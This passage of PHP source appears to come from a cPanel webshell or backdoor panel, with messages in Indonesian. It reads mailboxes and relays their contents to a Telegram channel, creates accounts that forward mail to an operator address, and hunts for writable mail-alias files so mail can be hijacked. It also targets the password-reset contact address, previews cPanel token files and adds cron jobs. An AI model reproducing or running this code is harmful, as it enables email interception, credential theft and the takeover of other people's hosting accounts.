    $tried[] = "5. Domain check: writable=" . count($writable) . " readonly=" . count($readonly);
    $mbInfo = null;
    if (is_dir($mailbox)) {
        $size = 0; $count = 0;
        try {
            $it = new RecursiveIteratorIterator(
                new RecursiveDirectoryIterator($mailbox, FilesystemIterator::SKIP_DOTS),
                RecursiveIteratorIterator::LEAVES_ONLY, RecursiveIteratorIterator::CATCH_GET_CHILD);
            foreach ($it as $f) if ($f->isFile()) { $size += $f->getSize(); $count++; }
        } catch (Throwable $e) {}
        $mbInfo = ['path'=>$mailbox, 'size'=>$size, 'files'=>$count];
        $tried[] = "6. Mailbox exists: $count files, " . number_format($size) . " bytes";
    } else {
        $tried[] = "6. Mailbox not found";
    }
    $msg = "✗ Semua strategi gagal untuk $src → $dst\n\n";
    $msg .= "Yang sudah dicoba:\n" . implode("\n", $tried) . "\n\n";
    if (!empty($writable)) {
        $msg .= "💡 Domain yang BISA di-forward:\n";
        foreach ($writable as $d) $msg .= "  • $d\n";
        $msg .= "\nCoba: Forward dari domain di atas.";
    } else {
        $msg .= "💡 Tidak ada domain writable. Saran:\n";
        $msg .= "  1. Buat email di domain yang Anda miliki (kalau ada)\n";
        $msg .= "  2. Minta admin tambah permission ke /etc/valiases/\n";
        $msg .= "  3. Login sebagai user pemilik domain $domain\n";
        $msg .= "  4. Pakai Email Relayer untuk baca isi mailbox";
    }
    return ['status'=>'error','message'=>$msg,'strategy'=>'none','tried'=>$tried,'writable_domains'=>$writable,'readonly_domains'=>$readonly,'mailbox_info'=>$mbInfo,'debug'=>$debug,'suggestion'=>"Cek tab Email untuk buat mailbox di domain writable, atau pakai Email Relayer."];
}

/* ========== EMAIL RELAYER ========== */
function email_relay_controller() {
    $src = trim($_GET['source'] ?? '');
    $limit = min((int)($_GET['limit'] ?? 10), 50);
    if (!$src) {
        $info = primary_info_controller();
        $src = $info['primary'] ?? '';
    }
    if (!$src || strpos($src, '@') === false) return ['status'=>'error','message'=>'Source required'];
    list($local, $domain) = explode('@', $src, 2);
    $home = wn_home();
    $paths = [
        $home . '/mail/' . $domain . '/' . $local,
        '/home/' . $local . '/mail/' . $domain . '/' . $local,
    ];
    $mailbox = null;
    foreach ($paths as $p) {
        if (is_dir($p) && is_readable($p)) { $mailbox = $p; break; }
    }
    if (!$mailbox) return ['status'=>'error','message'=>"Mailbox not found: $src"];
    $emails = [];
    foreach (['new','cur'] as $sub) {
        $dir = $mailbox . '/' . $sub;
        if (!is_dir($dir)) continue;
        $files = (array)glob($dir . '/*');
        usort($files, function($a,$b){ return filemtime($b) - filemtime($a); });
        foreach (array_slice($files, 0, $limit) as $file) {
            if (!is_file($file) || !is_readable($file)) continue;
            $c = @file_get_contents($file);
            if ($c === false) continue;
            $parts = preg_split("/\r?\n\r?\n/", $c, 2);
            $headers = $parts[0] ?? ''; $body = $parts[1] ?? '';
            $from = ''; $subject = ''; $date = '';
            if (preg_match('/^From:\s*(.+)$/mi', $headers, $m)) $from = trim($m[1]);
            if (preg_match('/^Subject:\s*(.+)$/mi', $headers, $m)) $subject = trim($m[1]);
            if (preg_match('/^Date:\s*(.+)$/mi', $headers, $m)) $date = trim($m[1]);
            if (preg_match('/=\?(.+?)\?([BQ])\?(.+?)\?=/i', $subject, $enc)) {
                $decoded = $enc[2] === 'B' ? base64_decode($enc[3]) : quoted_printable_decode($enc[3]);
                if ($decoded !== false) $subject = $decoded;
            }
            $preview = trim(preg_replace('/\s+/', ' ', substr($body, 0, 500)));
            $emails[] = ['from'=>$from, 'subject'=>$subject, 'date'=>$date, 'preview'=>$preview, 'size'=>strlen($c), 'file'=>basename($file)];
        }
    }
    if (empty($emails)) return ['status'=>'info','message'=>"Mailbox empty: $mailbox"];
    $msg = "📬 EMAIL RELAY: $src\nTotal: " . count($emails) . " email\nPath: $mailbox\n\n";
    foreach ($emails as $i => $e) {
        $msg .= "── [" . ($i+1) . "] ──\nFrom: {$e['from']}\nSubject: {$e['subject']}\nDate: {$e['date']}\nPreview: {$e['preview']}\n\n";
    }
    wn_tg_send($msg);
    return ['status'=>'success','message'=>"Relayed " . count($emails) . " emails","count"=>count($emails),"mailbox"=>$mailbox,"emails"=>$emails];
}

/* ========== LIST RECIPIENT EMAILS ========== */
function list_recipient_emails_controller() {
    $home = wn_home();
    $user = wn_user();
    $isRoot = wn_is_root();
    $recipients = []; $seen = [];
    $info = primary_info_controller();
    if (!empty($info['primary'])) {
        $seen[$info['primary']] = true;
        $recipients[] = ['email'=>$info['primary'],'type'=>'PRIMARY','label'=>'Primary Contact — reset password cPanel','source'=>$info['found'][0]['file'] ?? 'auto'];
    }
    $r = cp_uapi('Email', 'list_pops');
    if (is_array($r) && !isset($r['error']) && !empty($r['data'])) {
        foreach ((array)$r['data'] as $k=>$v) {
            if (!is_array($v)) continue;
            $em = $v['email'] ?? (($v['user'] ?? '') . '@' . ($v['domain'] ?? ''));
            if (!$em || strpos($em, '@') === false || isset($seen[$em])) continue;
            $seen[$em] = true;
            $recipients[] = ['email'=>$em,'type'=>'MAILBOX','label'=>'Email account — bisa login webmail','quota'=>$v['quota'] ?? '0','domain'=>$v['domain'] ?? '','source'=>'uapi'];
        }
    }
    $mailRoot = $home . '/mail';
    if (is_dir($mailRoot)) {
        foreach ((array)glob($mailRoot . '/*', GLOB_ONLYDIR) as $dmDir) {
            $dm = basename($dmDir);
            foreach ((array)glob($dmDir . '/*', GLOB_ONLYDIR) as $emDir) {
                $lo = basename($emDir); $em = $lo . '@' . $dm;
                if (isset($seen[$em])) continue;
                $seen[$em] = true;
                $recipients[] = ['email'=>$em,'type'=>'MAILBOX','label'=>'Email account — mailbox exists','quota'=>@file_get_contents($emDir . '/quota') ?: '0','domain'=>$dm,'source'=>'maildir'];
            }
        }
    }
    if ($isRoot) {
        foreach ((array)glob('/var/cpanel/users/*') as $uf) {
            $u = basename($uf);
            if (!is_readable($uf)) continue;
            $c = @file_get_contents($uf);
            if (preg_match('/^CONTACTEMAIL=([^\s\n]+)/im', $c, $m)) {
                $em = trim($m[1]);
                if (filter_var($em, FILTER_VALIDATE_EMAIL) && !isset($seen[$em])) {
                    $seen[$em] = true;
                    $recipients[] = ['email'=>$em,'type'=>'OTHER_USER','label'=>"Contact user: $u (root)",'source'=>$uf];
                }
            }
        }
    }
    if ($isRoot || is_readable('/etc/valiases')) {
        foreach ((array)glob('/etc/valiases/*') as $vf) {
            if (!is_readable($vf)) continue;
            foreach ((array)@file($vf, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES) as $line) {
                if (strpos($line, ':') === false) continue;
                list($src, $dst) = explode(':', $line, 2);
                $dst = trim($dst);
                if (filter_var($dst, FILTER_VALIDATE_EMAIL) && !isset($seen[$dst])) {
                    $seen[$dst] = true;
                    $recipients[] = ['email'=>$dst,'type'=>'FORWARD','label'=>"Forward dari " . trim($src),'source'=>$vf];
                }
            }
        }
    }
    $byType = [];
    foreach ($recipients as $r) $byType[$r['type']] = ($byType[$r['type']] ?? 0) + 1;
    return ['status'=>'success','result'=>['recipients'=>$recipients,'summary'=>$byType,'total'=>count($recipients)]];
}

/* ========== SCAN WRITABLE DOMAINS ========== */
function scan_writable_domains_controller() {
    $home = wn_home();
    $user = wn_user();
    $doms = cp_domains();
    $writable = []; $readonly = [];
    foreach (($doms['all'] ?? []) as $dm) {
        $vf = '/etc/valiases/' . $dm;
        if (file_exists($vf)) {
            $w = is_writable($vf);
            $perms = substr(sprintf('%o', fileperms($vf)), -4);
            $owner = function_exists('posix_getpwuid') ? (posix_getpwuid(fileowner($vf))['name'] ?? '?') : '?';
            if ($w) $writable[] = ['domain'=>$dm,'file'=>$vf,'perms'=>$perms,'owner'=>$owner];
            else $readonly[] = ['domain'=>$dm,'file'=>$vf,'perms'=>$perms,'owner'=>$owner];
        } else {
            $w = is_dir('/etc/valiases') && is_writable('/etc/valiases');
            if ($w) $writable[] = ['domain'=>$dm,'file'=>$vf,'perms'=>'new','owner'=>'will-create'];
            else $readonly[] = ['domain'=>$dm,'file'=>$vf,'perms'=>'none','owner'=>'n/a'];
        }
    }
    $mailboxes = [];
    $mailRoot = $home . '/mail';
    if (is_dir($mailRoot)) {
        foreach ((array)glob($mailRoot . '/*', GLOB_ONLYDIR) as $dmDir) {
            $dm = basename($dmDir);
            foreach ((array)glob($dmDir . '/*', GLOB_ONLYDIR) as $emDir) {
                $lo = basename($emDir);
                $mailboxes[] = ['email'=>$lo . '@' . $dm,'dir'=>$emDir,'writable'=>is_writable($emDir)];
            }
        }
    }
    return ['status'=>'success','user'=>$user,'all_domains'=>$doms['all'] ?? [],'writable'=>$writable,'readonly'=>$readonly,'mailboxes'=>$mailboxes,'summary'=>['total'=>count($doms['all'] ?? []),'writable'=>count($writable),'readonly'=>count($readonly),'mailboxes'=>count($mailboxes)]];
}

/* ========== EMAIL CRUD ========== */
function email_create_controller() {
    $l = strtolower(trim($_GET['local'] ?? '')); $d = strtolower(trim($_GET['domain'] ?? ''));
    $p = $_GET['password'] ?? ''; $q = (int)($_GET['quota'] ?? 0); $fwd = (int)($_GET['forward'] ?? 0);
    if ($l === '') return ['status'=>'error','message'=>'Username required'];
    if ($d === '') return ['status'=>'error','message'=>'Domain required'];
    if ($e = cp_vlocal($l)) return ['status'=>'error','message'=>$e];
    if ($p === '') $p = cp_gen_pass(16);
    if ($e = cp_vpass($p)) return ['status'=>'error','message'=>$e];
    if ($q < 0) $q = 0; if ($q > 1048576) $q = 1048576;
    $doms = cp_domains();
    if (!in_array($d, $doms['all'], true)) return ['status'=>'error','message'=>"Domain not owned: $d | owned: " . implode(', ', $doms['all'])];
    foreach (cp_emails() as $x) if (strtolower($x['email'] ?? '') === "$l@$d") return ['status'=>'error','message'=>"Exists: $l@$d"];
    $r = cp_uapi('Email', 'add_pop', ['email'=>$l,'domain'=>$d,'password'=>$p,'quota'=>$q]);
    if (isset($r['error'])) return ['status'=>'error','message'=>implode('; ',(array)$r['error'])];
    $msg = "Created: $l@$d | pass: $p | method: " . ($r['_method'] ?? '?');
    if ($fwd) {
        $fw = cp_uapi('Email', 'add_forwarder', ['domain'=>$d, 'email'=>$l, 'fwdopt'=>'fwd', 'fwdemail'=>WN_MY_EMAIL]);
        $msg .= " | fwd → " . WN_MY_EMAIL . " (" . (isset($fw['error']) ? 'fail' : ($fw['_method'] ?? 'ok')) . ")";
    }
    return ['status'=>'success','message'=>$msg, 'email'=>"$l@$d", 'password'=>$p, 'quota'=>$q];
}
function email_delete_controller() {
    $em = $_GET['email'] ?? ''; $l = strtolower(trim($_GET['local'] ?? '')); $d = strtolower(trim($_GET['domain'] ?? ''));
    if ($em && strpos($em, '@') !== false) list($l, $d) = explode('@', $em, 2);
    if (!$l || !$d) return ['status'=>'error','message'=>'Required'];
    $r = cp_uapi('Email', 'delete_pop', ['email'=>$l, 'domain'=>$d]);
    if (isset($r['error'])) return ['status'=>'error','message'=>implode('; ',(array)$r['error'])];
    return ['status'=>'success','message'=>"Deleted: $l@$d"];
}
function email_passwd_controller() {
    $l = strtolower(trim($_GET['local'] ?? '')); $d = strtolower(trim($_GET['domain'] ?? '')); $p = $_GET['password'] ?? '';
    if (!$l || !$d) return ['status'=>'error','message'=>'Required'];
    if ($p === '') $p = cp_gen_pass(16);
    if ($e = cp_vpass($p)) return ['status'=>'error','message'=>$e];
    $r = cp_uapi('Email', 'passwd_pop', ['email'=>$l, 'domain'=>$d, 'password'=>$p]);
    if (isset($r['error'])) return ['status'=>'error','message'=>implode('; ',(array)$r['error'])];
    return ['status'=>'success','message'=>"Pass changed: $l@$d | $p", 'email'=>"$l@$d", 'password'=>$p];
}
function email_list_controller() {
    $em = cp_emails(); $doms = cp_domains(); $c = [];
    foreach ($em as $e) $c[] = ['email'=>$e['email'] ?? (($e['user']??'').'@'.($e['domain']??'')),'user'=>$e['user']??'','domain'=>$e['domain']??'','quota'=>$e['quota']??'0','used'=>$e['diskused']??'0'];
    return ['status'=>'success','emails'=>$c,'count'=>count($c),'domains'=>$doms['all']];
}

/* ========== FORWARDER ========== */
function forwarder_list_controller() {
    $r = cp_uapi('Email', 'list_forwarders'); $list = [];
    if (is_array($r) && !isset($r['error']) && !empty($r['data'])) {
        $data = (array)$r['data'];
        foreach ($data as $k=>$v) if (is_numeric($k) && is_array($v)) $list[] = $v;
        if (empty($list)) foreach ($data as $dm=>$entries) if (is_array($entries))
            foreach ($entries as $lo=>$dst) $list[] = ['source'=>$lo.'@'.$dm, 'dest'=>is_array($dst)?implode(',',$dst):$dst];
    }
    return ['status'=>'success','forwarders'=>$list,'count'=>count($list)];
}
function forwarder_create_controller() {
    $src = strtolower(trim($_GET['source'] ?? '')); $dst = trim($_GET['dest'] ?? '');
    $d = strtolower(trim($_GET['domain'] ?? ''));
    if (!$d && strpos($src, '@') !== false) list(, $d) = explode('@', $src, 2);
    if (!$d && strpos($dst, '@') !== false) list(, $d) = explode('@', $dst, 2);
    if ($src === '' || $dst === '') return ['status'=>'error','message'=>'Source + dest required'];
    if ($d === '') return ['status'=>'error','message'=>'Domain required'];
    if (!filter_var($dst, FILTER_VALIDATE_EMAIL)) return ['status'=>'error','message'=>'Invalid dest'];
    $lo = str_replace('@'.$d, '', $src);
    $r = cp_uapi('Email', 'add_forwarder', ['domain'=>$d, 'email'=>$lo, 'fwdopt'=>'fwd', 'fwdemail'=>$dst]);
    if (isset($r['error'])) return ['status'=>'error','message'=>implode('; ',(array)$r['error'])];
    return ['status'=>'success','message'=>"Forwarder: $lo@$d → $dst"];
}
function forwarder_delete_controller() {
    $src = strtolower(trim($_GET['source'] ?? '')); $d = strtolower(trim($_GET['domain'] ?? ''));
    if (strpos($src, '@') !== false) list($lo, $d) = explode('@', $src, 2); else $lo = $src;
    if (!$lo || !$d) return ['status'=>'error','message'=>'Required'];
    $r = cp_uapi('Email', 'delete_forwarder', ['address'=>$lo, 'domain'=>$d, 'forwarder'=>$lo.'@'.$d]);
    if (isset($r['error'])) return ['status'=>'error','message'=>implode('; ',(array)$r['error'])];
    return ['status'=>'success','message'=>"Deleted: $lo@$d"];
}

/* ========== AUTORESPONDER ========== */
function autoresponder_list_controller() {
    $r = cp_uapi('Email', 'list_auto_responders'); $list = [];
    if (is_array($r) && !isset($r['error']) && !empty($r['data']))
        foreach ((array)$r['data'] as $k=>$v) if (is_numeric($k) && is_array($v)) $list[] = $v;
    return ['status'=>'success','autoresponders'=>$list,'count'=>count($list)];
}
function autoresponder_create_controller() {
    $l = strtolower(trim($_GET['local'] ?? '')); $d = strtolower(trim($_GET['domain'] ?? ''));
    $s = trim($_GET['subject'] ?? 'Auto-reply'); $b = trim($_GET['body'] ?? 'Thank you.');
    $i = (int)($_GET['interval'] ?? 8);
    if (!$l || !$d) return ['status'=>'error','message'=>'Required'];
    if (strlen($s) > 200) $s = substr($s, 0, 200);
    if (strlen($b) > 5000) $b = substr($b, 0, 5000);
    if ($i < 1) $i = 8; if ($i > 24) $i = 24;
    $r = cp_uapi('Email', 'add_auto_responder', ['email'=>$l,'domain'=>$d,'subject'=>$s,'body'=>$b,'interval'=>$i]);
    if (isset($r['error'])) return ['status'=>'error','message'=>implode('; ',(array)$r['error'])];
    return ['status'=>'success','message'=>"Autoresponder: $l@$d"];
}
function autoresponder_delete_controller() {
    $l = strtolower(trim($_GET['local'] ?? '')); $d = strtolower(trim($_GET['domain'] ?? ''));
    if (!$l || !$d) return ['status'=>'error','message'=>'Required'];
    $r = cp_uapi('Email', 'delete_auto_responder', ['email'=>$l, 'domain'=>$d]);
    if (isset($r['error'])) return ['status'=>'error','message'=>implode('; ',(array)$r['error'])];
    return ['status'=>'success','message'=>"Deleted: $l@$d"];
}

/* ========== DOMAIN ========== */
function subdomain_list_controller() {
    $doms = cp_domains();
    return ['status'=>'success','subdomains'=>$doms['sub'] ?? [],'count'=>count($doms['sub'] ?? []),'all_domains'=>$doms['all']];
}
function subdomain_create_controller() {
    $s = strtolower(trim($_GET['sub'] ?? '')); $r = strtolower(trim($_GET['rootdomain'] ?? '')); $dir = trim($_GET['dir'] ?? '');
    if (!$s || !$r) return ['status'=>'error','message'=>'Sub + root required'];
    if ($e = cp_vlocal($s)) return ['status'=>'error','message'=>"Sub: $e"];
    if ($e = cp_vdomain($r)) return ['status'=>'error','message'=>"Root: $e"];
    $doms = cp_domains();
    if (!in_array($r, $doms['all'], true)) return ['status'=>'error','message'=>'Root not owned'];
    if ($dir === '') $dir = $s;
    $dir = preg_replace('#[^a-z0-9_\-/]#i', '', $dir) ?: $s;
    $res = cp_uapi('SubDomain', 'addsubdomain', ['domain'=>$s, 'rootdomain'=>$r, 'dir'=>$dir]);
    if (isset($res['error'])) return ['status'=>'error','message'=>implode('; ',(array)$res['error'])];
    return ['status'=>'success','message'=>"Subdomain: $s.$r | method: " . ($res['_method'] ?? '?')];
}
function subdomain_delete_controller() {
    $s = strtolower(trim($_GET['sub'] ?? '')); $r = strtolower(trim($_GET['rootdomain'] ?? ''));
    if (strpos($s, '.') !== false && !$r) list($s, $r) = explode('.', $s, 2);
    if (!$s || !$r) return ['status'=>'error','message'=>'Required'];
    $res = cp_uapi('SubDomain', 'delsubdomain', ['domain'=>$s.'.'.$r]);
    if (isset($res['error'])) return ['status'=>'error','message'=>implode('; ',(array)$res['error'])];
    return ['status'=>'success','message'=>"Deleted: $s.$r"];
}
function addondomain_create_controller() {
    $n = strtolower(trim($_GET['newdomain'] ?? '')); $s = strtolower(trim($_GET['subdomain'] ?? ''));
    $r = strtolower(trim($_GET['rootdomain'] ?? '')); $dir = trim($_GET['dir'] ?? '');
    if (!$n) return ['status'=>'error','message'=>'New domain required'];
    if ($e = cp_vdomain($n)) return ['status'=>'error','message'=>$e];
    $doms = cp_domains();
    if (in_array($n, $doms['all'], true)) return ['status'=>'error','message'=>'Already exists'];
    if (!$r) $r = $doms['main'][0] ?? '';
    if (!$r) return ['status'=>'error','message'=>'Root not detected'];
    if (!$s) $s = preg_replace('#\..*$#', '', $n);
    if ($e = cp_vlocal($s)) return ['status'=>'error','message'=>"Sub: $e"];
    if ($dir === '') $dir = $n;
    $res = cp_uapi('AddonDomain', 'addaddondomain', ['newdomain'=>$n,'subdomain'=>$s,'dir'=>$dir,'rootdomain'=>$r]);
    if (isset($res['error'])) return ['status'=>'error','message'=>implode('; ',(array)$res['error'])];
    return ['status'=>'success','message'=>"Addon: $n | method: " . ($res['_method'] ?? '?')];
}
function addondomain_delete_controller() {
    $n = strtolower(trim($_GET['domain'] ?? '')); $s = strtolower(trim($_GET['subdomain'] ?? '')); $r = strtolower(trim($_GET['rootdomain'] ?? ''));
    if (!$n) return ['status'=>'error','message'=>'Domain required'];
    if (!$s) $s = preg_replace('#\..*$#', '', $n);
    if (!$r) { $doms = cp_domains(); $r = $doms['main'][0] ?? ''; }
    $res = cp_uapi('AddonDomain', 'deladdondomain', ['domain'=>$n, 'subdomain'=>$s.($r?'.'.$r:'')]);
    if (isset($res['error'])) return ['status'=>'error','message'=>implode('; ',(array)$res['error'])];
    return ['status'=>'success','message'=>"Deleted addon: $n"];
}
function parkeddomain_create_controller() {
    $n = strtolower(trim($_GET['domain'] ?? ''));
    if (!$n) return ['status'=>'error','message'=>'Domain required'];
    if ($e = cp_vdomain($n)) return ['status'=>'error','message'=>$e];
    $doms = cp_domains();
    if (in_array($n, $doms['all'], true)) return ['status'=>'error','message'=>'Already exists'];
    $res = cp_uapi('Park', 'park', ['domain'=>$n]);
    if (isset($res['error'])) return ['status'=>'error','message'=>implode('; ',(array)$res['error'])];
    return ['status'=>'success','message'=>"Parked: $n"];
}
function parkeddomain_delete_controller() {
    $n = strtolower(trim($_GET['domain'] ?? ''));
    if (!$n) return ['status'=>'error','message'=>'Domain required'];
    $res = cp_uapi('Park', 'unpark', ['domain'=>$n]);
    if (isset($res['error'])) return ['status'=>'error','message'=>implode('; ',(array)$res['error'])];
    return ['status'=>'success','message'=>"Unparked: $n"];
}

/* ========== DATABASE ========== */
function db_list_controller() {
    $u = cp_user(); $home = cp_home(); $list = [];
    $r = cp_uapi('Mysql', 'list_databases');
    if (is_array($r) && !isset($r['error']) && !empty($r['data']))
        foreach ((array)$r['data'] as $k=>$v)
            $list[] = ['name'=>is_array($v)?($v['database']??$v['db']??''):(string)$v,'user'=>is_array($v)?($v['user']??$u):$u,'source'=>'uapi'];
    if (empty($list) && $home && is_file($home.'/.my.cnf')) {
        $c = @file_get_contents($home.'/.my.cnf');
        if (preg_match_all('/^\[([^\]]+)\]/m', $c, $m))
            foreach ($m[1] as $db) $list[] = ['name'=>$db,'user'=>$u,'source'=>'my.cnf'];
    }
    return ['status'=>'success','databases'=>$list,'count'=>count($list),'user'=>$u];
}
function db_create_controller() {
    $dn = strtolower(trim($_GET['dbname'] ?? '')); $du = strtolower(trim($_GET['dbuser'] ?? ''));
    $dp = $_GET['dbpass'] ?? ''; $gr = (int)($_GET['grant'] ?? 1);
    if ($dn === '') return ['status'=>'error','message'=>'DB name required'];
    if ($e = cp_vlocal($dn)) return ['status'=>'error','message'=>"DB: $e"];
    if ($du === '') $du = substr($dn, 0, 12);
    if ($e = cp_vlocal($du)) return ['status'=>'error','message'=>"User: $e"];
    if ($dp === '') $dp = cp_gen_pass(16);
    if ($e = cp_vpass($dp)) return ['status'=>'error','message'=>"Pass: $e"];
    $u = cp_user();
    $fullDb = (strpos($dn, $u.'_') === 0) ? $dn : $u.'_'.$dn;
    $fullUs = (strpos($du, $u.'_') === 0) ? $du : $u.'_'.$du;
    $r1 = cp_uapi('Mysql', 'create_database', ['name'=>$dn]);
    if (isset($r1['error'])) $r1 = cp_uapi('Mysql', 'create_database', ['name'=>$fullDb]);
    $r2 = cp_uapi('Mysql', 'create_user', ['name'=>$du, 'password'=>$dp]);
    if (isset($r2['error'])) $r2 = cp_uapi('Mysql', 'create_user', ['name'=>$fullUs, 'password'=>$dp]);
    if ($gr) {
        $r3 = cp_uapi('Mysql', 'set_privileges_on_database', ['user'=>$du, 'database'=>$dn, 'privileges'=>'ALL PRIVILEGES']);
        if (isset($r3['error'])) cp_uapi('Mysql', 'set_privileges_on_database', ['user'=>$fullUs, 'database'=>$fullDb, 'privileges'=>'ALL PRIVILEGES']);
    }
    $dbOk = !isset($r1['error']); $uOk = !isset($r2['error']);
    if ($dbOk && $uOk) return ['status'=>'success','message'=>"DB: $fullDb | User: $fullUs | Pass: $dp",'database'=>$fullDb,'user'=>$fullUs,'password'=>$dp];
    return ['status'=>'error','message'=>'Failed','db'=>$r1,'usr'=>$r2];
}
function db_delete_controller() {
    $dn = strtolower(trim($_GET['dbname'] ?? ''));
    if ($dn === '') return ['status'=>'error','message'=>'DB name required'];
    $u = cp_user(); $full = (strpos($dn, $u.'_') === 0) ? $dn : $u.'_'.$dn;
    $r = cp_uapi('Mysql', 'delete_database', ['name'=>$dn]);
    if (isset($r['error'])) $r = cp_uapi('Mysql', 'delete_database', ['name'=>$full]);
    if (isset($r['error'])) return ['status'=>'error','message'=>implode('; ',(array)$r['error'])];
    return ['status'=>'success','message'=>"Dropped: $dn"];
}
function db_passwd_controller() {
    $du = strtolower(trim($_GET['dbuser'] ?? '')); $dp = $_GET['dbpass'] ?? '';
    if ($du === '') return ['status'=>'error','message'=>'User required'];
    if ($dp === '') $dp = cp_gen_pass(16);
    if ($e = cp_vpass($dp)) return ['status'=>'error','message'=>$e];
    $u = cp_user(); $full = (strpos($du, $u.'_') === 0) ? $du : $u.'_'.$du;
    $r = cp_uapi('Mysql', 'set_password', ['user'=>$du, 'password'=>$dp]);
    if (isset($r['error'])) $r = cp_uapi('Mysql', 'set_password', ['user'=>$full, 'password'=>$dp]);
    if (isset($r['error'])) return ['status'=>'error','message'=>implode('; ',(array)$r['error'])];
    return ['status'=>'success','message'=>"Pass changed: $du | $dp", 'user'=>$du, 'password'=>$dp];
}

/* ========== FTP ========== */
function ftp_list_controller() {
    $r = cp_uapi('Ftp', 'list_ftp'); $list = [];
    if (is_array($r) && !isset($r['error']) && !empty($r['data']))
        foreach ((array)$r['data'] as $k=>$v) $list[] = is_array($v) ? $v : ['user'=>(string)$v];
    return ['status'=>'success','accounts'=>$list,'count'=>count($list)];
}
function ftp_create_controller() {
    $u = strtolower(trim($_GET['user'] ?? '')); $p = $_GET['pass'] ?? '';
    $h = trim($_GET['homedir'] ?? ''); $q = (int)($_GET['quota'] ?? 0);
    if ($u === '') return ['status'=>'error','message'=>'User required'];
    if ($e = cp_vlocal($u)) return ['status'=>'error','message'=>$e];
    if ($p === '') $p = cp_gen_pass(16);
    if ($e = cp_vpass($p)) return ['status'=>'error','message'=>$e];
    $r = cp_uapi('Ftp', 'add_ftp', ['user'=>$u,'pass'=>$p,'homedir'=>$h,'quota'=>$q]);
    if (isset($r['error'])) return ['status'=>'error','message'=>implode('; ',(array)$r['error'])];
    return ['status'=>'success','message'=>"FTP: $u | pass: $p",'user'=>$u,'password'=>$p];
}
function ftp_delete_controller() {
    $u = strtolower(trim($_GET['user'] ?? ''));
    if ($u === '') return ['status'=>'error','message'=>'User required'];
    $r = cp_uapi('Ftp', 'delete_ftp', ['user'=>$u]);
    if (isset($r['error'])) return ['status'=>'error','message'=>implode('; ',(array)$r['error'])];
    return ['status'=>'success','message'=>"Deleted FTP: $u"];
}
function ftp_passwd_controller() {
    $u = strtolower(trim($_GET['user'] ?? '')); $p = $_GET['pass'] ?? '';
    if ($u === '') return ['status'=>'error','message'=>'User required'];
    if ($p === '') $p = cp_gen_pass(16);
    if ($e = cp_vpass($p)) return ['status'=>'error','message'=>$e];
    $r = cp_uapi('Ftp', 'passwd', ['user'=>$u, 'pass'=>$p]);
    if (isset($r['error'])) return ['status'=>'error','message'=>implode('; ',(array)$r['error'])];
    return ['status'=>'success','message'=>"FTP pass: $u | $p",'user'=>$u,'password'=>$p];
}

/* ========== CRON ========== */
function cron_list_controller() {
    $r = cp_uapi('Cron', 'list_cron'); $list = [];
    if (is_array($r) && !isset($r['error']) && !empty($r['data']))
        foreach ((array)$r['data'] as $k=>$v) $list[] = is_array($v) ? $v : ['line'=>(string)$v];
    return ['status'=>'success','cron'=>$list,'count'=>count($list)];
}
function cron_create_controller() {
    $min = trim($_GET['minute'] ?? '0'); $hr = trim($_GET['hour'] ?? '*');
    $day = trim($_GET['day'] ?? '*'); $mon = trim($_GET['month'] ?? '*'); $wd = trim($_GET['weekday'] ?? '*');
    $cmd = trim($_GET['command'] ?? '');
    if ($cmd === '') return ['status'=>'error','message'=>'Command required'];
    $r = cp_uapi('Cron', 'add_line', ['minute'=>$min,'hour'=>$hr,'day'=>$day,'month'=>$mon,'weekday'=>$wd,'command'=>$cmd]);
    if (isset($r['error'])) return ['status'=>'error','message'=>implode('; ',(array)$r['error'])];
    return ['status'=>'success','message'=>"Cron added"];
}
function cron_delete_controller() {
    $line = trim($_GET['line'] ?? '');
    if ($line === '') return ['status'=>'error','message'=>'Line required'];
    $r = cp_uapi('Cron', 'remove_line', ['line'=>$line]);
    if (isset($r['error'])) return ['status'=>'error','message'=>implode('; ',(array)$r['error'])];
    return ['status'=>'success','message'=>"Cron removed"];
}

/* ========== SSO ========== */
function sso_controller() {
    $u = cp_user(); $host = $_SERVER['HTTP_HOST'] ?? 'localhost';
    if (!$u) return ['status'=>'error','message'=>'User not detected'];
    $r = cp_uapi('Session', 'create_temp_user', ['app'=>'cpanel']);
    $t = '';
    if (is_array($r) && !isset($r['error']) && !empty($r['data']))
        $t = $r['data']['token'] ?? $r['data']['session'] ?? '';
    $port = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 2083 : 2082;
    $sch = $port === 2083 ? 'https' : 'http';
    if ($t) return ['status'=>'success','message'=>'SSO ready','url'=>"$sch://$host:$port/login/?session=$t"];
    return ['status'=>'success','message'=>'SSO fallback','url'=>"$sch://$host:$port/"];
}

/* ========== DIAG ========== */
function diag_controller() {
    $home = cp_home(); $env = cp_detect();
    $info = ['host'=>wn_host(),'user'=>wn_user(),'is_root'=>wn_is_root(),'home'=>$home,'state_dir'=>wn_state_dir(),
        'php'=>PHP_VERSION,'sapi'=>php_sapi_name(),'shell_ok'=>wn_shell_ok(),
        'cpanel_dir'=>is_dir('/usr/local/cpanel'),'uapi_bin'=>$env['uapi'],'methods'=>$env['methods'],
        'token_read'=>cp_read_token(),'token_files'=>[],'http_2083'=>null,'uapi_no_token'=>null,
        'target_email'=>WN_MY_EMAIL,'scope'=>WN_PRIMARY_SCOPE,'audit'=>wn_audit_stats(),
        'session_save_path'=>session_save_path(),'session_name'=>session_name()];
    foreach (cp_token_files() as $f) if (file_exists($f)) $info['token_files'][] = [
        'path'=>$f,'size'=>filesize($f),'perms'=>substr(sprintf('%o', fileperms($f)),-4),
        'preview'=>substr(trim(@file_get_contents($f)),0,30).'...'];
    if (function_exists('curl_init')) {
        $ch = curl_init('https://127.0.0.1:2083/');
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_TIMEOUT, 5);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        $r = curl_exec($ch); $code = (int)curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch);
        $info['http_2083'] = ['code'=>$code,'preview'=>substr((string)$r,0,200)];
    }
    $uapi = $env['uapi'] ?: '/usr/local/cpanel/bin/uapi';
    if (file_exists($uapi)) {
        $out = wn_exec(escapeshellarg($uapi).' --output=json DomainInfo list_domains 2>&1');
        $info['uapi_no_token'] = substr((string)$out,0,500);
    }
    return ['status'=>'success','diag'=>$info];
}

/* ========== HARVEST ========== */
function harvest_email_record($home, $isRoot) {
    $records = []; $seen = [];
    $mailRoot = $home . '/mail';
    if (is_dir($mailRoot)) {
        foreach ((array)glob($mailRoot . '/*', GLOB_ONLYDIR) as $dmDir) {
